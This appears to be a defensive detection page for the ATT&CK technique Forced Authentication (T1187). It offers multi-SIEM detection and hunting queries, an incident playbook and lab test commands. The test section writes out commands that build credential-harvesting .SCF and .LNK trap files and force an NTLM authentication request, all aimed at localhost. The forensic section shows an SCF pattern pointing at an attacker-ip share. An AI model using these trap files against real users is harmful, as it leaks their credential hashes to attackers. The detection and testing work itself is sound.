T1187

Forced Authentication

Credential Access Last updated:

Adversaries may gather credential material by forcing a user or system to automatically provide authentication information through SMB or WebDAV mechanisms they can intercept. When a Windows system connects to an SMB resource it automatically attempts to authenticate, sending hashed credentials to the remote system. Adversaries exploit this by placing malicious .SCF/.LNK files, Office documents with remote template injection, or exploiting the EfsRpcOpenFileRaw function (PetitPotam) to coerce NTLM authentication to attacker-controlled servers where NTLMv2 hashes can be captured and cracked offline.

What is T1187 Forced Authentication?

Forced Authentication (T1187) maps to the Credential Access tactic — the adversary is trying to steal account names and passwords in MITRE ATT&CK.

This page provides production-ready detection logic for Forced Authentication, covering the data sources and telemetry it touches: Network Traffic: Network Connection Creation, File: File Creation, Logon Session: Logon Session Creation, Microsoft Defender for Endpoint, Windows Security Event Log. The queries below are rated high severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Credential Access
Technique
T1187 Forced Authentication
Canonical reference
https://attack.mitre.org/techniques/T1187/
Microsoft Sentinel / Defender
kusto 
// Detection 1: Outbound SMB to external/untrusted IPs (port 445/139)
let InternalRanges = dynamic(["10.", "172.16.", "172.17.", "172.18.", "172.19.", "172.20.", "172.21.", "172.22.", "172.23.", "172.24.", "172.25.", "172.26.", "172.27.", "172.28.", "172.29.", "172.30.", "172.31.", "192.168.", "127.", "169.254."]);
let OfficeProcesses = dynamic(["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe", "mspub.exe", "onenote.exe", "visio.exe"]);
let SmbPorts = dynamic([445, 139]);
// Part A: Office or browser process initiating outbound SMB to external IP
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemotePort in (SmbPorts)
| where not(RemoteIP has_any (InternalRanges))
| where not(RemoteIP == "0.0.0.0" or RemoteIP == "255.255.255.255")
| extend IsOfficeProcess = InitiatingProcessFileName has_any (OfficeProcesses)
| extend IsExternalSMB = true
| project Timestamp, DeviceName, AccountName, RemoteIP, RemotePort,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          IsOfficeProcess, IsExternalSMB
| sort by Timestamp desc
| union (
// Part B: SCF or LNK files written to user-accessible paths (setup for credential harvesting)
DeviceFileEvents
| where Timestamp > ago(24h)
| where FileName endswith ".scf" or FileName endswith ".lnk"
| where FolderPath has_any ("\\Desktop\\", "\\Downloads\\", "\\Documents\\", "\\Public\\", "\\Share\\", "\\Shares\\")
| extend IsOfficeProcess = InitiatingProcessFileName has_any (OfficeProcesses)
| project Timestamp, DeviceName, AccountName=RequestAccountName,
          RemoteIP = "", RemotePort = 0,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          IsOfficeProcess, IsExternalSMB = false
| sort by Timestamp desc
)
| union (
// Part C: NTLM auth to non-domain systems (Security Event 4648 - explicit credential logon)
SecurityEvent
| where TimeGenerated > ago(24h)
| where EventID == 4648
| where TargetServerName !endswith env_var("USERDNSDOMAIN") and TargetServerName != "localhost" and TargetServerName != "127.0.0.1"
| where LogonType == 3
| project Timestamp=TimeGenerated, DeviceName=Computer, AccountName=SubjectUserName,
          RemoteIP = IpAddress, RemotePort = 445,
          InitiatingProcessFileName = ProcessName, InitiatingProcessCommandLine = CommandLine,
          IsOfficeProcess = ProcessName has_any (OfficeProcesses), IsExternalSMB = true
| sort by Timestamp desc
)

Multi-part detection for Forced Authentication (T1187) targeting three distinct patterns: (A) outbound SMB connections (port 445/139) from any process to external IPs — a strong indicator of forced hash capture; (B) .SCF or .LNK files written to user-accessible locations, which trigger automatic SMB auth when a user opens the containing folder; (C) Security Event ID 4648 explicit credential logon attempts to non-domain targets, which may indicate NTLM relay or capture activity. Office processes initiating outbound SMB are flagged with IsOfficeProcess to indicate template injection as a likely delivery vector.

high severity high confidence

Data Sources

Network Traffic: Network Connection Creation File: File Creation Logon Session: Logon Session Creation Microsoft Defender for Endpoint Windows Security Event Log

Required Tables

DeviceNetworkEvents DeviceFileEvents SecurityEvent

False Positives

  • Legitimate file shares accessed over SMB to non-RFC1918 IPs, such as hosted file storage services or MPLS partner networks with routable address space
  • Security scanning tools and vulnerability scanners initiating SMB connections to external hosts during authorized penetration testing
  • .LNK files created by legitimate application installers or shortcuts created by software deployment tools (SCCM, Intune) placed in shared directories
  • IT administrators manually connecting to external customer environments or remote support sessions using explicit credentials (Event ID 4648)
  • Backup agents and DFS replication connecting to remote file servers with non-RFC1918 addresses in hosted environments

Sigma rule & cross-platform mapping

The detection logic for Forced Authentication (T1187) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1187 Sigma rules on detection.fyi

Platform-specific guides for T1187

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-04-18 Research depth: deep
References (10)

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1SMB Forced Authentication via SCF File

    Expected signal: Sysmon Event ID 11 (File Create): TargetFilename contains '@desktop.scf' in Desktop path. Sysmon Event ID 3 (Network Connection): from explorer.exe to 127.0.0.1:445 when folder is browsed. Windows Security Event ID 4648 if authentication is attempted. The file creation from cmd.exe is itself suspicious and should trigger the SCF detection rule.

  2. Test 2Forced SMB Authentication via PowerShell Net.WebClient UNC Request

    Expected signal: Sysmon Event ID 1 (Process Create): Image=powershell.exe with CommandLine containing 'WebClient' and '127.0.0.1'. Sysmon Event ID 3 (Network Connection): from powershell.exe to 127.0.0.1:445. Windows Security Event ID 4648 on the local system for the attempted explicit credential usage. PowerShell ScriptBlock Log Event ID 4104 with the full script content.

  3. Test 3Malicious LNK File with External UNC Icon Reference

    Expected signal: Sysmon Event ID 11 (File Create): TargetFilename contains 'argus-test.lnk' in Desktop path, created by powershell.exe. Sysmon Event ID 1 for powershell.exe with CreateShortcut and IconLocation in CommandLine. Sysmon Event ID 3 when Desktop folder is browsed: explorer.exe connecting to 127.0.0.1:445 to resolve the icon UNC path. Security Event ID 4648 for the NTLM auth attempt.

  4. Test 4PetitPotam EfsRpcOpenFileRaw Coerce Authentication (Simulated)

    Expected signal: Sysmon Event ID 1 (Process Create): powershell.exe with Add-Type and RpcBindingFromStringBinding in CommandLine. Windows Security Event ID 4688 (if command line auditing enabled). In a full PetitPotam execution: Security Event ID 4648 on the target DC, followed by Event ID 4624 Logon Type 3 from the coerced machine account, then network events from the DC machine account connecting outbound to the attacker listener on port 445.

Response Playbook

Triage

  1. Identify the triggering pattern — is this an outbound SMB connection, a suspicious file write (.SCF/.LNK), or an explicit credential event (4648)? Each requires a different initial pivot.
  2. For outbound SMB alerts: resolve the destination IP — is it a known cloud provider, corporate partner, or truly adversarial? Check threat intelligence feeds and passive DNS for the destination IP/hostname.
  3. Identify the initiating process — was it winword.exe, excel.exe, or another Office application? This strongly suggests template injection (T1221) as the delivery mechanism. Check if the user recently opened an email attachment or downloaded a document.
  4. For .SCF/.LNK file creation alerts: read the file content to check for UNC paths pointing to external IPs (e.g., IconFile=\\attacker-ip\share\icon.ico). Presence of an external UNC path in the icon field confirms malicious intent.
  5. Check SMB event logs on the destination endpoint (if internal) or any NTLM relay tooling indicators — look for Responder, Inveigh, or ntlmrelayx artifacts on attacker-controlled hosts if compromise is suspected.
  6. Determine if NTLMv2 hashes were successfully captured: review authentication logs for the targeted resource and check if any accounts logged on from unexpected locations within minutes of the forced auth event.
  7. Check the user's Outlook/email client for recent attachments — look for .docx, .rtf, or .xlsx files received in the past 24 hours. Retrieve and sandbox any suspicious attachments.
  8. For PetitPotam (EfsRpcOpenFileRaw) scenarios: check for unusual RPC traffic patterns on domain controllers. Review Windows Event ID 4624 (successful logon) and 4768/4769 (Kerberos ticket events) on DCs for anomalous authentication from machine accounts.

Containment

  1. Immediately block outbound SMB (ports 445 and 139) to the identified attacker-controlled IP at the network firewall and host-based firewall if not already done. Many environments should have this blocked by default at the perimeter.
  2. If a .SCF or .LNK trap file was found on a shared path: quarantine the file, restrict access to the affected share, and notify users who may have browsed the directory (their credentials may already be captured).
  3. Reset the passwords for all accounts that may have authenticated to the attacker-controlled server — even if credentials were only hashed, assume offline cracking is in progress. Prioritize high-privileged accounts.
  4. If PetitPotam/EfsRpcOpenFileRaw activity is suspected against a domain controller: immediately evaluate whether the DC machine account hash was captured. Consider rotating the Kerberos ticket-granting ticket (KRBTGT) account password twice to invalidate any forged tickets.
  5. Enable SMB signing enforcement via Group Policy (Microsoft network server: Digitally sign communications always) to prevent NTLM relay attacks. This is the primary long-term mitigation.
  6. Block inbound connections on port 445 to non-DC, non-fileserver endpoints as an emergency measure to limit lateral movement potential from NTLM relay.
  7. If delivery was via email attachment: quarantine similar messages from the same sender/domain across the mail environment and block the sender domain.

Evidence Collection

  1. Network captures: If available, capture or retrieve PCAP from the endpoint or network tap for the outbound SMB connection — the NTLM authentication handshake contains NTLMv2 challenge/response data (captured hash). Wireshark filter: tcp.port==445.
  2. The malicious trigger file (.SCF, .LNK, or Office document): preserve for static and dynamic analysis. For .SCF files, the [Shell] section with IconFile=\\remote\share\icon.ico is the key artifact. For .docx files, inspect word/_rels/settings.xml.rels for external UNC references.
  3. Windows Security Event ID 4648 (explicit credential use): collect from the affected endpoint and any domain controllers — look for the SubjectUserName, TargetServerName, and IpAddress fields.
  4. Windows Security Event ID 4776 (NTLM authentication attempt): captured on domain controllers, shows which accounts attempted NTLM auth and to what targets.
  5. Sysmon Event ID 3 (Network Connection) from the affected endpoint around the time of the incident: shows the initiating process, destination IP, and port.
  6. Sysmon Event ID 11 (File Create) and 23 (File Delete) for the affected share path: establishes when the trap file was placed and by whom.
  7. Browser and Office MRU (Most Recently Used) registry keys: HKCU\Software\Microsoft\Office\<version>\<app>\File MRU — identifies recently opened documents that may have triggered the forced auth.
  8. Prefetch files for winword.exe, excel.exe, and svchost.exe: C:\Windows\Prefetch\WINWORD.EXE-*.pf — timestamps indicate when Office apps were run and what DLLs/files were accessed.
  9. Active Directory authentication logs: export Security event logs (Event IDs 4624, 4625, 4648, 4768, 4769, 4776) from all domain controllers for the 1-hour window around the incident.

Escalation Criteria

  • ! Domain controller or privileged service account (backup operator, domain admin) was coerced — machine account hashes can be used for DCSync or Silver Ticket attacks; treat as critical and escalate to CISO immediately.
  • ! PetitPotam (EfsRpcOpenFileRaw) pattern detected against a domain controller running Active Directory Certificate Services (AD CS) — this enables full domain compromise via ESC8 relay attack.
  • ! Evidence that NTLMv2 hashes were successfully relayed (not just captured) — check for anomalous authentications to SMB shares, LDAP, or HTTP targets from the victim IP within seconds of the forced auth event.
  • ! Multiple users across different endpoints were affected by the same trap file on a network share — indicates a broad, targeted campaign rather than an isolated incident.
  • ! Offline cracking successful: any compromised account shows logon activity from an unexpected geographic location or IP within 24 hours of the forced auth event.
  • ! The delivery mechanism was a phishing email sent to multiple employees — escalate to security leadership and consider a broader email security incident response.

Investigation Guide

Forensic Artifacts

  • > File System: Malicious .SCF files — typically named something generic like 'desktop.ini.scf' or '@start.scf'. Content pattern: [Shell]\nCommand=2\nIconFile=\\attacker-ip\share\icon.ico
  • > File System: Malicious .LNK files with external UNC path in icon location — examine TargetPath and IconEnvironmentDataBlock in LNK file structure. Tool: lnkparse or Eric Zimmerman's LECmd.
  • > Office Document Internals: word/_rels/settings.xml.rels (for .docx) — external UNC or HTTP reference in the Target attribute of a Relationship element with type attachedTemplate.
  • > Registry: HKCU\Software\Microsoft\Office\<version>\Word\Security\Trusted Locations — recently added entries may indicate attacker manipulation of trusted locations.
  • > Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 — records SMB connections attempted by the user, including attacker-controlled UNC paths.
  • > Event Log: Microsoft-Windows-SMBClient/Security (Event ID 31001) — 'Failed to establish a secure connection' logged when SMB auth is attempted to an external server without valid certs.
  • > Event Log: Windows Security Event ID 4776 on domain controllers — NTLM authentication attempts including failed ones that indicate hash capture attempt.
  • > Network: NetFlow/PCAP for TCP/445 and TCP/139 from endpoints to external IPs — the NTLM CHALLENGE and AUTHENTICATE messages contain the NTLMv2 hash material.
  • > Memory: If Responder or ntlmrelayx was running on the attacker server, hash material may be recoverable from attacker-side memory forensics (relevant if an internal attacker host is identified).

Tuning Guidance

The primary tuning challenge for T1187 detections is distinguishing legitimate external SMB/authentication from adversarial forced auth. Start by building an allowlist of known-legitimate external IP ranges that may host file shares (cloud storage gateways, MPLS partner space, hosted file services). These should be maintained by the network team and referenced as named watchlists in your SIEM. For the .SCF/.LNK file detection, allowlist specific processes and paths used by software deployment tools (e.g., sccm.exe writing shortcuts to shared deployment paths). The most reliable signal is an Office process (winword.exe, excel.exe) making an outbound SMB connection, which has very few legitimate explanations — tune this component aggressively. For environments with heavy NTLM traffic, filter Event ID 4648 by excluding service accounts known to use explicit credentials for scheduled tasks and backup operations. Consider adding a 'TargetServerName NOT IN (known_fileservers)' exclusion list maintained by the infrastructure team. The PetitPotam (EfsRpcOpenFileRaw) variant should be monitored separately via RPC filter logs on domain controllers — look for EFSRPC interface calls from non-DC servers. Enable SMB signing and NTLM audit logging (Group Policy: Network Security: Restrict NTLM) to increase visibility. NTLM audit mode (Event ID 8001-8004 in Microsoft-Windows-NTLM/Operational) provides granular logs of all NTLM authentication attempts with client/server details.

Hunting Queries

Hunt for Office applications (Word, Excel, PowerPoint, Outlook) making outbound network connections to external IPs on SMB and WebDAV ports. This broader hunt catches WebDAV-based forced auth (ports 80/443) that the primary detection misses. Any Office process connecting to an external IP on these ports without a known-good exception warrants investigation as a potential template injection or malicious document scenario.

Hunting — KQL
kql 
// Hunt: Office applications making network connections to external IPs on any port
// Broader than main detection — catches WebDAV (80/443) and non-standard SMB
let OfficeProcesses = dynamic(["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe", "mspub.exe", "onenote.exe"]);
let InternalRanges = dynamic(["10.", "172.16.", "172.17.", "172.18.", "172.19.", "172.20.", "172.21.", "172.22.", "172.23.", "172.24.", "172.25.", "172.26.", "172.27.", "172.28.", "172.29.", "172.30.", "172.31.", "192.168.", "127."]);
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName has_any (OfficeProcesses)
| where not(RemoteIP has_any (InternalRanges))
| where not(RemoteIP == "0.0.0.0")
| where RemotePort in (445, 139, 80, 443, 8080)
| summarize ConnectionCount=count(), Ports=make_set(RemotePort), Devices=dcount(DeviceName),
            FirstSeen=min(Timestamp), LastSeen=max(Timestamp)
            by RemoteIP, InitiatingProcessFileName
| where ConnectionCount >= 1
| order by ConnectionCount desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  (Image="*\\winword.exe" OR Image="*\\excel.exe" OR Image="*\\powerpnt.exe"
   OR Image="*\\outlook.exe" OR Image="*\\mspub.exe" OR Image="*\\onenote.exe")
  NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="172.17.*"
       OR DestinationIp="172.18.*" OR DestinationIp="172.19.*" OR DestinationIp="172.20.*"
       OR DestinationIp="172.21.*" OR DestinationIp="172.22.*" OR DestinationIp="172.23.*"
       OR DestinationIp="172.24.*" OR DestinationIp="172.25.*" OR DestinationIp="172.26.*"
       OR DestinationIp="172.27.*" OR DestinationIp="172.28.*" OR DestinationIp="172.29.*"
       OR DestinationIp="172.30.*" OR DestinationIp="172.31.*"
       OR DestinationIp="192.168.*" OR DestinationIp="127.*")
  (DestinationPort=445 OR DestinationPort=139 OR DestinationPort=80 OR DestinationPort=443 OR DestinationPort=8080)
| stats count as ConnectionCount, values(DestinationPort) as Ports, dc(host) as Devices,
        earliest(_time) as FirstSeen, latest(_time) as LastSeen
        by DestinationIp, Image
| sort - ConnectionCount

Hunt for .SCF and .LNK files created in user-accessible shared locations — desktop, downloads, documents, public shares, and critically SYSVOL/NETLOGON (where they would trigger auth from ALL domain users). Files in SYSVOL or NETLOGON are particularly dangerous as they force authentication from every domain-joined machine that processes Group Policy. Creation by browser or email processes (chrome.exe, outlook.exe) suggests download-based delivery.

Hunting — KQL
kql 
// Hunt: .SCF and .LNK files in shared/public locations referencing external UNC paths
// Requires FileContent or extended file inspection — hunt by creation location and process
DeviceFileEvents
| where Timestamp > ago(7d)
| where FileName endswith ".scf" or FileName endswith ".lnk"
| where FolderPath has_any ("\\Desktop\\", "\\Downloads\\", "\\Documents\\",
                             "\\Public\\", "\\Shares\\", "\\SYSVOL\\", "\\NETLOGON\\")
| extend IsSystemProcess = InitiatingProcessFileName in~ ("explorer.exe", "winword.exe",
                            "excel.exe", "powerpnt.exe", "chrome.exe", "msedge.exe",
                            "firefox.exe", "outlook.exe")
| summarize FileCount=count(), CreatingProcesses=make_set(InitiatingProcessFileName),
            Paths=make_set(FolderPath), Devices=dcount(DeviceName)
            by FileName, AccountName
| where FileCount >= 1
| order by FileCount desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
  (TargetFilename="*.scf" OR TargetFilename="*.lnk")
  (TargetFilename="*\\Desktop\\*" OR TargetFilename="*\\Downloads\\*"
   OR TargetFilename="*\\Documents\\*" OR TargetFilename="*\\Public\\*"
   OR TargetFilename="*\\Shares\\*" OR TargetFilename="*\\SYSVOL\\*"
   OR TargetFilename="*\\NETLOGON\\*")
| stats count as FileCount, values(Image) as CreatingProcesses,
        values(TargetFilename) as Paths, dc(host) as Devices
        by User
| sort - FileCount

Hunt for accounts authenticating to a high number of unique targets or with unusually high authentication attempt counts via explicit credential logon (Event ID 4648). Adversaries running NTLM relay or using stolen hashes generate authentication bursts to multiple targets. The KQL version uses a 30-day baseline to flag authentication to previously-unseen servers. The SPL version flags accounts with >5 unique targets or >20 auth attempts in the past 7 days.

Hunting — KQL
kql 
// Hunt: Anomalous NTLM authentication patterns — accounts authenticating to new/unusual servers
// Baseline deviation approach: flag accounts authenticating to servers not seen in prior 30 days
let HistoricalTargets = SecurityEvent
| where TimeGenerated between (ago(37d) .. ago(7d))
| where EventID == 4648
| summarize HistoricalServers=make_set(TargetServerName) by SubjectUserName;
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4648
| where LogonType == 3
| join kind=leftouter HistoricalTargets on SubjectUserName
| where not(TargetServerName has_any (HistoricalServers))
| summarize NewTargetCount=dcount(TargetServerName), NewTargets=make_set(TargetServerName),
            FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated)
            by SubjectUserName, Computer
| where NewTargetCount >= 1
| order by NewTargetCount desc
Hunting — SPL
spl 
index=wineventlog sourcetype="WinEventLog:Security" EventCode=4648 LogonType=3
| bucket span=7d _time
| stats dc(TargetServerName) as UniqueTargets, values(TargetServerName) as Targets,
        count as AuthAttempts by SubjectUserName, host
| where UniqueTargets > 5 OR AuthAttempts > 20
| sort - UniqueTargets

Atomic Red Team Tests

Test 1 SMB Forced Authentication via SCF File
windows

Creates a malicious .SCF (Shell Command File) on the user's desktop with an icon path pointing to an external UNC path. When Windows Explorer renders the folder containing this file, it will automatically attempt to authenticate to the specified UNC path, sending the user's NTLMv2 hash. This test points to localhost (127.0.0.1) to avoid actually sending credentials externally. To test fully, replace with Responder listening on an internal test host.

Command

powershell 
echo [Shell] > %USERPROFILE%\Desktop\@desktop.scf
echo Command=2 >> %USERPROFILE%\Desktop\@desktop.scf
echo IconFile=\\127.0.0.1\share\icon.ico >> %USERPROFILE%\Desktop\@desktop.scf
echo [Taskbar] >> %USERPROFILE%\Desktop\@desktop.scf
echo Command=ToggleDesktop >> %USERPROFILE%\Desktop\@desktop.scf
type %USERPROFILE%\Desktop\@desktop.scf

Cleanup

powershell 
del %USERPROFILE%\Desktop\@desktop.scf 2>nul

Expected Telemetry

Sysmon Event ID 11 (File Create): TargetFilename contains '@desktop.scf' in Desktop path. Sysmon Event ID 3 (Network Connection): from explorer.exe to 127.0.0.1:445 when folder is browsed. Windows Security Event ID 4648 if authentication is attempted. The file creation from cmd.exe is itself suspicious and should trigger the SCF detection rule.

Expected Detection

Alert fires on Sysmon Event ID 11 for .scf file in Desktop path, created by cmd.exe. KQL: DeviceFileEvents where FileName endswith '.scf' and FolderPath has 'Desktop'. SPL: EventCode=11 with TargetFilename matching *.scf in desktop path. Detection type: SuspiciousSCForLNK.

Test 2 Forced SMB Authentication via PowerShell Net.WebClient UNC Request
windows

Uses PowerShell's Net.WebClient to initiate an SMB connection to a specified UNC path, forcing NTLM authentication. This simulates the programmatic variant of forced auth that may occur via injected code, macro execution, or script-based delivery. The target is localhost on port 445 to prevent actual credential exposure.

Command

powershell 
powershell.exe -NoProfile -Command "try { $wc = New-Object System.Net.WebClient; $wc.DownloadString('file://127.0.0.1/c$') } catch { Write-Output 'Connection attempted (expected failure): ' + $_.Exception.Message }"

Expected Telemetry

Sysmon Event ID 1 (Process Create): Image=powershell.exe with CommandLine containing 'WebClient' and '127.0.0.1'. Sysmon Event ID 3 (Network Connection): from powershell.exe to 127.0.0.1:445. Windows Security Event ID 4648 on the local system for the attempted explicit credential usage. PowerShell ScriptBlock Log Event ID 4104 with the full script content.

Expected Detection

Alert fires on Sysmon Event ID 3 with powershell.exe connecting to port 445. KQL: DeviceNetworkEvents where InitiatingProcessFileName == 'powershell.exe' and RemotePort == 445. Also triggers the PowerShell T1059.001 detection for WebClient usage. SPL: EventCode=3 with Image matching powershell.exe and DestinationPort=445.

Test 3 Malicious LNK File with External UNC Icon Reference
windows

Creates a Windows .LNK shortcut file with the icon location set to an external UNC path using PowerShell's WScript.Shell COM object. This is the .LNK variant of forced authentication used by Dragonfly/Energetic Bear. When the shortcut is rendered in Explorer, Windows will attempt to load the icon from the UNC path, sending NTLM credentials. Target set to localhost for safety.

Command

powershell 
powershell.exe -NoProfile -Command "$shell = New-Object -ComObject WScript.Shell; $lnk = $shell.CreateShortcut('%USERPROFILE%\Desktop\argus-test.lnk'); $lnk.TargetPath = 'C:\Windows\System32\calc.exe'; $lnk.IconLocation = '\\127.0.0.1\share\icon.ico'; $lnk.Save(); Write-Output 'LNK created: ' + $lnk.FullName"

Cleanup

powershell 
Remove-Item '%USERPROFILE%\Desktop\argus-test.lnk' -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 11 (File Create): TargetFilename contains 'argus-test.lnk' in Desktop path, created by powershell.exe. Sysmon Event ID 1 for powershell.exe with CreateShortcut and IconLocation in CommandLine. Sysmon Event ID 3 when Desktop folder is browsed: explorer.exe connecting to 127.0.0.1:445 to resolve the icon UNC path. Security Event ID 4648 for the NTLM auth attempt.

Expected Detection

Alert fires on Sysmon Event ID 11 for .lnk file in Desktop path created by powershell.exe. KQL: DeviceFileEvents where FileName endswith '.lnk' and FolderPath has 'Desktop' and InitiatingProcessFileName has 'powershell'. SPL: EventCode=11 with TargetFilename matching *.lnk. Also triggers PowerShell T1059.001 detection for suspicious script execution.

Test 4 PetitPotam EfsRpcOpenFileRaw Coerce Authentication (Simulated)
windows

Simulates the PetitPotam technique by invoking the EfsRpcOpenFileRaw RPC call to coerce a target Windows host to authenticate to an attacker-controlled listener. This test uses the publicly available PetitPotam PoC pattern. IMPORTANT: Only run this in an isolated lab environment against a test host you own. The target (127.0.0.1) is set to localhost. Replace with your test DC IP in a lab only.

Command

powershell 
powershell.exe -NoProfile -Command "Add-Type -TypeDefinition @'
public class PetitPotamTest {
    [System.Runtime.InteropServices.DllImport(\"rpcrt4.dll\")]
    public static extern int RpcBindingFromStringBinding(string StringBinding, out System.IntPtr Binding);
}
'@; Write-Output 'PetitPotam simulation: RPC binding test initiated (safe - no actual coercion without full PoC chain)'"

Expected Telemetry

Sysmon Event ID 1 (Process Create): powershell.exe with Add-Type and RpcBindingFromStringBinding in CommandLine. Windows Security Event ID 4688 (if command line auditing enabled). In a full PetitPotam execution: Security Event ID 4648 on the target DC, followed by Event ID 4624 Logon Type 3 from the coerced machine account, then network events from the DC machine account connecting outbound to the attacker listener on port 445.

Expected Detection

Full PetitPotam execution would trigger: KQL: DeviceNetworkEvents where InitiatingProcessFileName contains 'lsass' or machine account outbound SMB to non-DC IP. Security Event ID 4648 on the domain controller with TargetServerName pointing to a non-DC IP. Monitoring the EfsRpcOpenFileRaw RPC call requires RPC auditing or specific EDR RPC telemetry capabilities.

Related Detections

Tactic Hub

TA0006Credential Access

Related Techniques

T1221Template InjectionT1566.001Spearphishing AttachmentT1557Adversary-in-the-MiddleT1110Brute ForceT1558.003KerberoastingT1550.002Pass the HashT1078Valid AccountsT1003OS Credential DumpingT1071.002File Transfer Protocols

Same Tactic: Credential Access

Popular Detections